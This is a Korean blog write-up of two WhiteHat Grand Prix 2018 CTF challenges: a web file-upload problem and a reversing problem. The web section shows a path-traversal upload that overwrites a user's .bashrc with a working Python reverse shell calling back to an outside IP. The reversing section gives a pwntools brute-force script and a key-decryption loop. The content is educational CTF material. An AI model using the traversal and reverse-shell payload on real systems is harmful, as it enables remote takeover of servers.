2018년 8월 19일 일요일

[CTF] WhiteHat Grand Prix 2018


Web Security - 100

파이썬을 기반으로한 서비스로 파일 업로드 기능을 수행하게 되며 서비스의 소스 코드는 업로드 되어 있어 다운로드가 가능하다.

서비스 소스 코드에서 파일 업로드를 수행하는 함수를 분석하게 되면, 파일의 존재 유무를 검사하지 않아 기존에 존재하던 파일을 덮어 쓸 수 있는 취약점이 발생하는 것을 알 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
        path = self.translate_path(self.path)
        fn = os.path.join(path, fn[0])
        if "index" in fn.lower():
            return (False, "Can't create file to write, do you have permission to write?")
        line = self.rfile.readline()
        remainbytes -= len(line)
        line = self.rfile.readline()
        remainbytes -= len(line)
        try:
            out = open(fn, 'wb')

문제에 있는 정보를 통해 알아낸 '/home/manhndd/.bashrc' 파일에 쉘 명령어로 덮어쓰게 되면 SSH 접속과 동시에 원하는 코드를 실행할 수 있게 된다. 이를 통해, reverse shell 코드를 덮어써 플래그를 획득할 수 있다.


1
2
3
4
Content-Disposition: form-data; name="file"; filename="../home/manhndd/.bashrc"
Content-Type: application/octet-stream

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("180.231.11.249",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Rev 5 - 120


from pwn import *

s = remote('66.42.55.226', '8888')
s.sendline(dataformat)

dataformat = '%s|test|test|test'

for i in range(0, 1000):
 data = dataformat % (str(i).rjust(3, '0'))
 s.sendline(data)
 print '[+] id : ', i, s.recv(1024)

id를 0~999 까지 브루트 포스 결과 720 에서 View 명령어가 아니라는 문구가 나온다.
720과 View를 맞춰 보내면 회사이름을 잘못적었다고 나오는데 문제 지문에 나오는 회사 지문을 입력하다보면 fis라는 회사이름이 나오게 된다.

해당 프로그램을 돌려보면 vqmuwzjxfmqmdnfhr라는 키가 나오고 해당 키를 디크립트 돌리면 된다.

company = 'fis'
key = 'vqmuwzjxfmqmdnfhr'

table = string.ascii_lowercase
sol = ''

for idx, k in enumerate(key):
 flags = 1
 for t in table:
  if ord(k) == ((ord(company[idx%3]) + ord(t) - 0xc0)%0x1b+0x60):
   sol += t
   flags = 0
 if flags:
  print 'nothing...'
  break

print sol

댓글 없음:

댓글 쓰기

[CTF] WhiteHat Grand Prix 2018

Web Security - 100 파이썬을 기반으로한 서비스로 파일 업로드 기능을 수행하게 되며 서비스의 소스 코드는 업로드 되어 있어 다운로드가 가능하다. 서비스 소스 코드에서 파일 업로드를 수행하는 함수를 분석하게 되면, 파일의 존재 유무...